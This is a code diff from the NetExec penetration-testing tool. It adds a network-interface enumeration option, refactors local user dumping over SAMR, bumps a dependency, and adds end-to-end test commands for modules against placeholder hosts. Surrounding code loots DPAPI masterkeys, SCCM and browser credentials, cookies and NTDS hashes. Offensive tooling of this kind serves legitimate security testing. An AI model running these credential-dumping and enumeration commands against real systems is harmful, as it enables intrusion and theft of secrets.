|
||||
self.logger.highlight(f"{interface['Name']:<11} | {interface['IPAddress']!s:<15} | {interface['SubnetMask']!s:<15} | {interface['DefaultGateway']!s:<15} | {interface['DHCP']}")
|
||||
|
||||
except DCERPCException as e:
|
||||
self.logger.info(f"Failed to retrieve the network interface info for {sub_key}: {e!s}")
|
||||
|
||||
with contextlib.suppress(Exception):
|
||||
remoteOps.finish()
|
||||
except DCERPCException as e:
|
||||
self.logger.error(f"Failed to connect to the target: {e!s}")
|
||||
|
||||
def get_dc_ips(self):
|
||||
dc_ips = [dc[1] for dc in self.db.get_domain_controllers(domain=self.domain)]
|
||||
if not dc_ips:
|
||||
@@ -1302,7 +1393,7 @@ class smb(connection):
|
||||
self.logger.success(f"Created file {src} on \\\\{self.args.share}\\{dst}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error writing file to share {self.args.share}: {e}")
|
||||
|
||||
|
||||
def put_file(self):
|
||||
for src, dest in self.args.put_file:
|
||||
self.put_file_single(src, dest)
|
||||
@@ -1325,7 +1416,6 @@ class smb(connection):
|
||||
for src, dest in self.args.get_file:
|
||||
self.get_file_single(src, dest)
|
||||
|
||||
|
||||
def enable_remoteops(self):
|
||||
try:
|
||||
self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost)
|
||||
@@ -1408,7 +1498,7 @@ class smb(connection):
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Could not upgrade connection: {e}")
|
||||
return
|
||||
|
||||
|
||||
try:
|
||||
self.logger.display("Collecting Machine masterkeys, grab a coffee and be patient...")
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
@@ -1423,7 +1513,7 @@ class smb(connection):
|
||||
if len(masterkeys) == 0:
|
||||
self.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
|
||||
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}")
|
||||
try:
|
||||
# Collect Chrome Based Browser stored secrets
|
||||
@@ -1613,7 +1703,6 @@ class smb(connection):
|
||||
"Google Refresh Token",
|
||||
)
|
||||
|
||||
|
||||
if dump_cookies and cookies:
|
||||
self.logger.display("Start Dumping Cookies")
|
||||
for cookie in cookies:
|
||||
@@ -1801,4 +1890,4 @@ class smb(connection):
|
||||
NTDS.finish()
|
||||
|
||||
def mark_guest(self):
|
||||
return highlight(f"{highlight('(Guest)')}" if self.is_guest else "")
|
||||
return highlight(f"{highlight('(Guest)')}" if self.is_guest else "")
|
||||
@@ -103,7 +103,8 @@ class MMCEXEC:
|
||||
)
|
||||
try:
|
||||
iInterface = self.__dcom.CoCreateInstanceEx(string_to_bin("49B2791A-B1AE-4C90-9B8E-E860BA07F889"), IID_IDispatch)
|
||||
except Exception:
|
||||
except Exception as e:
|
||||
self.logger.info(f"Got Exception while connecting with DCOM: {e}")
|
||||
# Make it force break function
|
||||
self.__dcom.disconnect()
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
|
||||
|
||||
@@ -34,6 +34,7 @@ def proto_args(parser, parents):
|
||||
|
||||
mapping_enum_group = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
|
||||
mapping_enum_group.add_argument("--shares", action="store_true", help="enumerate shares and access")
|
||||
mapping_enum_group.add_argument("--interfaces", action="store_true", help="enumerate network interfaces")
|
||||
mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)")
|
||||
mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'")
|
||||
mapping_enum_group.add_argument("--sessions", action="store_true", help="enumerate active sessions")
|
||||
|
||||
@@ -133,12 +133,13 @@ class UserSamrDump:
|
||||
# set these for the while loop
|
||||
enumerationContext = enumerate_users_resp["EnumerationContext"]
|
||||
status = enumerate_users_resp["ErrorCode"]
|
||||
self.print_user_info(users, domain_name)
|
||||
self.logger.display(f"Enumerated {users:d} local users: {domain_name}")
|
||||
self.dce.disconnect()
|
||||
|
||||
def get_user_info(self, domain_handle, user_ids):
|
||||
self.logger.debug(f"Getting user info for users: {user_ids}")
|
||||
users = []
|
||||
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
|
||||
users = 0
|
||||
|
||||
for user in user_ids:
|
||||
self.logger.debug(f"Calling hSamrOpenUser for RID {user}")
|
||||
@@ -161,19 +162,11 @@ class UserSamrDump:
|
||||
last_pw_set = old_large_int_to_datetime(user_info["PasswordLastSet"])
|
||||
if last_pw_set == "1601-01-01 00:00:00":
|
||||
last_pw_set = "<never>"
|
||||
users.append({"name": user_name, "description": user_description, "bad_pwd_count": bad_pwd_count, "last_pw_set": last_pw_set})
|
||||
|
||||
users += + 1
|
||||
self.logger.highlight(f"{user_name:<30}{last_pw_set:<20}{bad_pwd_count:<8}{user_description} ")
|
||||
samr.hSamrCloseHandle(self.dce, open_user_resp["UserHandle"])
|
||||
return users
|
||||
|
||||
def print_user_info(self, users, domain_name):
|
||||
self.logger.display(f"Enumerated {len(users):d} local users: {domain_name}")
|
||||
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
|
||||
for user in users:
|
||||
self.logger.debug(f"Full user info: {user}")
|
||||
self.logger.highlight(f"{user['name']:<30}{user['last_pw_set']:<20}{user['bad_pwd_count']:<8}{user['description']} ")
|
||||
|
||||
|
||||
def old_large_int_to_datetime(large_int):
|
||||
combined = (large_int["HighPart"] << 32) | large_int["LowPart"]
|
||||
timestamp_seconds = combined / 10**7
|
||||
|
||||
Generated
+504
-470
File diff suppressed because it is too large.
Load diff
+1
-1
@@ -41,7 +41,7 @@ argcomplete = "^3.1.4"
|
||||
asyauth = ">=0.0.20"
|
||||
beautifulsoup4 = ">=4.11,<5"
|
||||
bloodhound = "^1.7.2"
|
||||
dploot = "^2.7.1"
|
||||
dploot = "^2.7.4"
|
||||
dsinternals = "^1.2.4"
|
||||
impacket = { git = "https://github.com/fortra/impacket.git" }
|
||||
lsassy = ">=3.1.11"
|
||||
|
||||
@@ -62,6 +62,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password1"
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" DELETE=True
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocker
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dfscoerce
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc -o CLEANUP=True
|
||||
@@ -81,6 +82,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M imperson
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M iis
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_elevated
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M security-questions
|
||||
# currently hanging indefinitely - TODO: look into this
|
||||
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover
|
||||
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=LOGIN_USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\LOGIN_USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml"
|
||||
@@ -153,6 +155,7 @@ netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections
|
||||
#netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=enable
|
||||
#netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=disable
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocker
|
||||
##### LDAP
|
||||
netexec {DNS} ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users
|
||||
|
||||
Reference in new issue
Block a user